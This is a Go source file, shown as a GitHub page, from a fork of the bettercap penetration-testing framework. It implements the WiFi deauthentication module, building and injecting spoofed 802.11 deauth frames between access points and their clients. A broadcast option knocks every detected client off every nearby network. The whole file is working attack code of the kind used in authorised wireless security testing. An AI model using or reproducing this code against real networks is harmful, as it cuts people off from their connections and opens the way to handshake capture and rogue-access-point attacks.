forked from bettercap/bettercap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifi_deauth.go
151 lines (132 loc) · 3.67 KB
/
wifi_deauth.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
package wifi
import (
"bytes"
"fmt"
"net"
"sort"
"time"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
)
func (mod *WiFiModule) injectPacket(data []byte) {
if err := mod.handle.WritePacketData(data); err != nil {
mod.Error("could not inject WiFi packet: %s", err)
mod.Session.Queue.TrackError()
} else {
mod.Session.Queue.TrackSent(uint64(len(data)))
}
// let the network card breath a little
time.Sleep(10 * time.Millisecond)
}
func (mod *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
for seq := uint16(0); seq < 64 && mod.Running(); seq++ {
if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil {
mod.Error("could not create deauth packet: %s", err)
continue
} else {
mod.injectPacket(pkt)
}
if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil {
mod.Error("could not create deauth packet: %s", err)
continue
} else {
mod.injectPacket(pkt)
}
}
}
func (mod *WiFiModule) skipDeauth(to net.HardwareAddr) bool {
for _, mac := range mod.deauthSkip {
if bytes.Equal(to, mac) {
return true
}
}
return false
}
func (mod *WiFiModule) isDeauthSilent() bool {
if err, is := mod.BoolParam("wifi.deauth.silent"); err != nil {
mod.Warning("%v", err)
} else {
mod.deauthSilent = is
}
return mod.deauthSilent
}
func (mod *WiFiModule) doDeauthOpen() bool {
if err, is := mod.BoolParam("wifi.deauth.open"); err != nil {
mod.Warning("%v", err)
} else {
mod.deauthOpen = is
}
return mod.deauthOpen
}
func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error {
// parse skip list
if err, deauthSkip := mod.StringParam("wifi.deauth.skip"); err != nil {
return err
} else if macs, err := network.ParseMACs(deauthSkip); err != nil {
return err
} else {
mod.deauthSkip = macs
}
// if not already running, temporarily enable the pcap handle
// for packet injection
if !mod.Running() {
if err := mod.Configure(); err != nil {
return err
}
defer mod.handle.Close()
}
type flow struct {
Ap *network.AccessPoint
Client *network.Station
}
toDeauth := make([]flow, 0)
isBcast := network.IsBroadcastMac(to)
for _, ap := range mod.Session.WiFi.List() {
isAP := bytes.Equal(ap.HW, to)
for _, client := range ap.Clients() {
if isBcast || isAP || bytes.Equal(client.HW, to) {
if !mod.skipDeauth(ap.HW) && !mod.skipDeauth(client.HW) {
toDeauth = append(toDeauth, flow{Ap: ap, Client: client})
} else {
mod.Debug("skipping ap:%v client:%v because skip list %v", ap, client, mod.deauthSkip)
}
}
}
}
if len(toDeauth) == 0 {
if isBcast {
return nil
}
return fmt.Errorf("%s is an unknown BSSID, is in the deauth skip list, or doesn't have detected clients.", to.String())
}
go func() {
mod.writes.Add(1)
defer mod.writes.Done()
// since we need to change the wifi adapter channel for each
// deauth packet, let's sort by channel so we do the minimum
// amount of hops possible
sort.Slice(toDeauth, func(i, j int) bool {
return toDeauth[i].Ap.Channel < toDeauth[j].Ap.Channel
})
// send the deauth frames
for _, deauth := range toDeauth {
client := deauth.Client
ap := deauth.Ap
if mod.Running() {
logger := mod.Info
if mod.isDeauthSilent() {
logger = mod.Debug
}
if ap.IsOpen() && !mod.doDeauthOpen() {
mod.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID())
} else {
logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel, ap.Encryption)
mod.onChannel(ap.Channel, func() {
mod.sendDeauthPacket(ap.HW, client.HW)
})
}
}
}
}()
return nil
}